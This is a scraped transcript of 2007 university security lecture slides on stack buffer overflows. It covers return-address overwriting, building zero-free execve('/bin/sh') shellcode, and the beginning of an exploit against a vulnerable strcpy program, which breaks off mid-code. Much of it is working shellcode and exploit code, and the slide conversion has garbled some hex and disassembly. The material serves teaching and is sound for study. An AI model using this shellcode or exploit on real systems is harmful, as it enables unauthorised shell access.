Foundations of Network and Computer Security John Black

Foundations of Network and Computer Security John Black Lecture #29 Nov 12 th 2007 CSCI 6268/TLEN 5831, Fall 2007

Announcements • Quiz #3 is Wednesday – Will cover material from midterm through today • Still planning class on Friday – Considering canceling if no one will be here – (I know at least 6 people have said they won’t be)
![example 3. c void function(int a, int b, int c) { char buffer 1[5]; example 3. c void function(int a, int b, int c) { char buffer 1[5];](http://slidetodoc.com/presentation_image_h2/0ffdb45b22dbcd01e1d88433ba529dc8/image-3.jpg)
example 3. c void function(int a, int b, int c) { char buffer 1[5]; char buffer 2[10]; int *ret; ret = buffer 1 + 12; (*ret) += 10; // overwrite return addr // return 10 bytes later in text seg } void main() { int x; x = 0; function(1, 2, 3); x = 1; printf("%dn", x); } Write-up says 8 bytes, but it’s wrong

How did we know the values? Look at disassembly: 0 x 8000490 0 x 8000491 0 x 8000493 0 x 8000496 0 x 800049 d 0 x 800049 f 0 x 80004 a 1 0 x 80004 a 3 0 x 80004 a 8 0 x 80004 ab 0 x 80004 b 2 0 x 80004 b 5 0 x 80004 b 6 0 x 80004 bb 0 x 80004 c 0 0 x 80004 c 3 0 x 80004 c 5 0 x 80004 c 6 <main>: <main+1>: <main+3>: <main+6>: <main+13>: <main+15>: <main+17>: <main+19>: <main+24>: <main+27>: <main+34>: <main+37>: <main+38>: <main+43>: <main+48>: <main+51>: <main+53>: <main+54>: pushl movl subl movl pushl call addl movl pushl call addl movl popl ret %ebp %esp, %ebp $0 x 4, %esp $0 x 0, 0 xfffffffc(%ebp) $0 x 3 $0 x 2 $0 x 1 0 x 8000470 <function> $0 xc, %esp $0 x 1, 0 xfffffffc(%ebp), %eax $0 x 80004 f 8 0 x 8000378 <printf> $0 x 8, %esp %ebp 34 -24 = 10, so skip 10 bytes down; note: leaves SP messed up!

So we can change return addresses… and then? ! • If we can arbitrarily change return addresses, what power do we really have? – Cause program to execute other than intended code – Jump to code which grants us privilege – Jump to code giving access to sensitive information • All this assumes we know our way around the binary • If we don’t have a copy of the program, we’re shooting in the dark! • Let’s keep this distinction in mind as we proceed – What if there is nothing interesting to jump to, or we cannot figure out where to jump to? ! • Let’s jump to our own code!

Shell Code • Let’s spawn a shell – The discussion is about to get very Unix specific again – A “shell” is a program that gives us a command prompt – If we spawn a shell, we get command-line access with whatever privileges the current process has (possibly root!)

Fitting Code in the Stack • What does the stack look like when “function” is called? buffer sfp SSSSSSSSSSSSSSSSS SSSS ret Jump to Shell Code a 1 4 bytes b 2 4 bytes c 3 4 bytes

How to Derive Shell Code? • Write in C, compile, extract assembly into machine code: #include <stdio. h> void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } gcc -o shellcode -ggdb -static shellcode. c

And disassemble 0 x 8000130 0 x 8000131 0 x 8000133 0 x 8000136 0 x 800013 d 0 x 8000144 0 x 8000146 0 x 8000149 0 x 800014 a 0 x 800014 d 0 x 800014 e 0 x 8000153 0 x 8000156 0 x 8000158 0 x 8000159 <main>: <main+1>: <main+3>: <main+6>: <main+13>: <main+20>: <main+22>: <main+25>: <main+26>: <main+29>: <main+30>: <main+35>: <main+38>: <main+40>: <main+41>: pushl movl subl movl pushl leal pushl movl pushl call addl movl popl ret %ebp %esp, %ebp $0 x 8, %esp $0 x 80027 b 8, 0 xfffffff 8(%ebp) $0 x 0, 0 xfffffffc(%ebp) $0 x 0 0 xfffffff 8(%ebp), %eax 0 x 80002 bc <__execve> $0 xc, %esp %ebp

Need Code for execve 0 x 80002 bc 0 x 80002 bd 0 x 80002 bf 0 x 80002 c 0 0 x 80002 c 5 0 x 80002 c 8 0 x 80002 cb 0 x 80002 ce 0 x 80002 d 0 0 x 80002 d 2 0 x 80002 d 4 0 x 80002 d 6 0 x 80002 d 8 0 x 80002 d 9 0 x 80002 de 0 x 80002 df 0 x 80002 e 1 0 x 80002 e 6 0 x 80002 e 7 0 x 80002 e 9 0 x 80002 ea <__execve>: <__execve+1>: <__execve+3>: <__execve+4>: <__execve+9>: <__execve+12>: <__execve+15>: <__execve+18>: <__execve+20>: <__execve+22>: <__execve+24>: <__execve+26>: <__execve+28>: <__execve+29>: <__execve+34>: <__execve+35>: <__execve+37>: <__execve+42>: <__execve+43>: <__execve+45>: <__execve+46>: pushl movl movl int movl testl jnl negl pushl call popl movl popl ret %ebp %esp, %ebp %ebx $0 xb, %eax 0 x 8(%ebp), %ebx 0 xc(%ebp), %ecx 0 x 10(%ebp), %edx $0 x 80 %eax, %edx, %edx 0 x 80002 e 6 <__execve+42> %edx 0 x 8001 a 34 <__normal_errno_location> %edx, (%eax) $0 xffff, %eax %ebp, %esp %ebp

Shell Code Synopsis • Have the null terminated string "/bin/sh" somewhere in memory. • Have the address of the string "/bin/sh" somewhere in memory followed by a null long word. • Copy 0 xb into the EAX register. • Copy the address of the string "/bin/sh” into the EBX register. • Copy the address of the string "/bin/sh" into the ECX register. • Copy the address of the null long word into the EDX register. • Execute the int $0 x 80 instruction.

If execve() fails • We should exit cleanly #include <stdlib. h> void main() { exit(0); } 0 x 800034 c 0 x 800034 d 0 x 800034 f 0 x 8000350 0 x 8000355 0 x 8000358 0 x 800035 a 0 x 800035 d 0 x 800035 f 0 x 8000360 <_exit>: <_exit+1>: <_exit+3>: <_exit+4>: <_exit+9>: <_exit+12>: <_exit+14>: <_exit+17>: <_exit+19>: <_exit+20>: pushl movl int movl popl ret %ebp %esp, %ebp %ebx $0 x 1, %eax 0 x 8(%ebp), %ebx $0 x 80 0 xfffffffc(%ebp), %ebx %ebp, %esp %ebp

New Shell Code Synopsis • Have the null terminated string "/bin/sh" somewhere in memory. • Have the address of the string "/bin/sh" somewhere in memory followed by a null long word. • Copy 0 xb into the EAX register. • Copy the address of the string "/bin/sh” into the EBX register. • Copy the address of the string "/bin/sh" into the ECX register. • Copy the address of the null long word into the EDX register. • Execute the int $0 x 80 instruction. • Copy 0 x 1 into EAX • Copy 0 x 0 into EBX • Execute the int $0 x 80 instruction.

Shell Code, Outline movl string_addr, string_addr movb $0 x 0, null_byte_addr movl $0 x 0, null_string movl $0 xb, %eax movl string_addr, %ebx leal string_addr, %ecx leal null_string, %edx int $0 x 80 movl $0 x 1, %eax movl $0 x 0, %ebx int $0 x 80 /bin/sh string goes here

One Problem: Where is the /bin/sh string in memory? • We don’t know the address of buffer – So we don’t know the address of the string “/bin/sh” – But there is a trick to find it • JMP to the end of the code and CALL back to the start • These can use relative addressing modes • The CALL will put the return address on the stack and this will be the absolute address of the string • We will pop this string into a register!

Shell Code on the Stack buffer JJSSSSSSSSSSSSSSS CCssssssss ret Jump to Shell Code a 1 4 bytes b 2 4 bytes c 3 4 bytes

Implemented Shell Code jmp offset-to-call # popl %esi # movl %esi, array-offset(%esi) # movb $0 x 0, nullbyteoffset(%esi)# movl $0 x 0, null-offset(%esi) # movl $0 xb, %eax # movl %esi, %ebx # leal array-offset(%esi), %ecx # leal null-offset(%esi), %edx # int $0 x 80 # movl $0 x 1, %eax # movl $0 x 0, %ebx # int $0 x 80 # call offset-to-popl # /bin/sh string goes here. 2 1 3 4 7 5 2 3 3 2 5 5 2 5 bytes bytes bytes bytes

Implemented Shell Code, with constants computed jmp 0 x 26 popl %esi movl %esi, 0 x 8(%esi) movb $0 x 0, 0 x 7(%esi) movl $0 x 0, 0 xc(%esi) movl $0 xb, %eax movl %esi, %ebx leal 0 x 8(%esi), %ecx leal 0 xc(%esi), %edx int $0 x 80 movl $0 x 1, %eax movl $0 x 0, %ebx int $0 x 80 call -0 x 2 b. string "/bin/sh" # # # # 2 1 3 4 7 5 2 3 3 2 5 5 2 5 8 bytes bytes bytes bytes

Testing the Shell Code: shellcodeasm. c void main() { __asm__(" jmp 0 x 2 a popl %esi movl %esi, 0 x 8(%esi) movb $0 x 0, 0 x 7(%esi) movl $0 x 0, 0 xc(%esi) movl $0 xb, %eax movl %esi, %ebx leal 0 x 8(%esi), %ecx leal 0 xc(%esi), %edx int $0 x 80 movl $0 x 1, %eax movl $0 x 0, %ebx int $0 x 80 call -0 x 2 f. string "/bin/sh" "); # # # # 3 1 3 4 7 5 2 3 3 2 5 5 2 5 8 bytes bytes bytes bytes

Oops. . Won’t work • Our code is self-modifying – Most operating systems mark text segment as read only – No self-modifying code! • Poor hackers (in the good sense) – Let’s move the code to a data segment and try it there • Later we will be executing it on the stack, of course
![Running Code in the Data Segment: testsc. c char shellcode[] = "xebx 2 ax Running Code in the Data Segment: testsc. c char shellcode[] = "xebx 2 ax](http://slidetodoc.com/presentation_image_h2/0ffdb45b22dbcd01e1d88433ba529dc8/image-21.jpg)
Running Code in the Data Segment: testsc. c char shellcode[] = "xebx 2 ax 5 ex 89x 76x 08xc 6x 46x 07x 00xc 7x 46x 0 cx 00x 00" "x 00xb 8x 0 bx 00x 89xf 3x 8 dx 4 ex 08x 8 dx 56x 0 cxcdx 80" "xb 8x 01x 00xbbx 00xcdx 80xe 8xd 1xff" "xffx 2 fx 62x 69x 6 ex 2 fx 73x 68x 00x 89xecx 5 dxc 3"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } research $ gcc -o testsc. c research $. /testsc $ exit research $

Another Problem: Zeros • Notice hex code has zero bytes – If we’re overrunning a command-line parameter, probably strcpy() is being used – It will stop copying at the first zero byte – We won’t get all our code transferred! – Can we write the shell code without zeros?

Eliminating Zeros Problem instruction: Substitute with: ----------------------------movb $0 x 0, 0 x 7(%esi) xorl %eax, %eax movl $0 x 0, 0 xc(%esi) movb %eax, 0 x 7(%esi) movl %eax, 0 xc(%esi) ---------------------------movl $0 xb, %eax movb $0 xb, %al ----------------------------movl $0 x 1, %eax xorl %ebx, %ebx movl $0 x 0, %ebx movl %ebx, %eax inc %eax ----------------------------
![New Shell Code (no zeros) char shellcode[] = "xebx 1 fx 5 ex 89x New Shell Code (no zeros) char shellcode[] = "xebx 1 fx 5 ex 89x](http://slidetodoc.com/presentation_image_h2/0ffdb45b22dbcd01e1d88433ba529dc8/image-24.jpg)
New Shell Code (no zeros) char shellcode[] = "xebx 1 fx 5 ex 89x 76x 08x 31xc 0x 88x 46x 07x 89x 46x 0 cxb 0x 0 b" "x 89xf 3x 8 dx 4 ex 08x 8 dx 56x 0 cxcdx 80x 31xdbx 89xd 8x 40xcd" "x 80xe 8xdcxffxff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } research $ gcc -o testsc. c research $. /testsc $ exit research $

Ok, We’re Done? Well… • • We have zero-less shell code It is relocatable It spawns a shell We just have to get it onto the stack of some vulnerable program! – And then we have to modify the return address in that stack frame to jump to the beginning of our shell code… ahh… – If we know the buffer size and the address where the buffer sits, we’re done (this is the case when we have the code on the same OS sitting in front of us) – If we don’t know these two items, we have to guess…
![If we know where the buffer is char shellcode[] =. . . char large_string[128]; If we know where the buffer is char shellcode[] =. . . char large_string[128];](http://slidetodoc.com/presentation_image_h2/0ffdb45b22dbcd01e1d88433ba529dc8/image-26.jpg)
If we know where the buffer is char shellcode[] =. . . char large_string[128]; void main() { char buffer[96]; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; large_string[i] = ‘ ’; strcpy(buffer, large_string); } // This works: ie, it spawns a shell

Otherwise, how do we Guess? • The stack always starts at the same (high) memory address – Here is sp. c: unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } void main() { printf("0 x%xn", get_sp()); } $. /sp 0 x 8000470 $
![vulnerable. c void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) vulnerable. c void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1)](http://slidetodoc.com/presentation_image_h2/0ffdb45b22dbcd01e1d88433ba529dc8/image-28.jpg)
vulnerable. c void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer, argv[1]); } • Now we need to inject our shell code into this program – We’ll pretend we don’t know the code layout or the buffer size – Let’s attack this program
![exploit 1. c void main(int argc, char *argv[]) { if (argc > 1) bsize exploit 1. c void main(int argc, char *argv[]) { if (argc > 1) bsize](http://slidetodoc.com/presentation_image_h2/0ffdb45b22dbcd01e1d88433ba529dc8/image-29.jpg)
exploit 1. c void main(int argc, char *argv[]) { if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); buff = malloc(bsize); addr = get_sp() - offset; printf("Using address: 0 x%xn", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '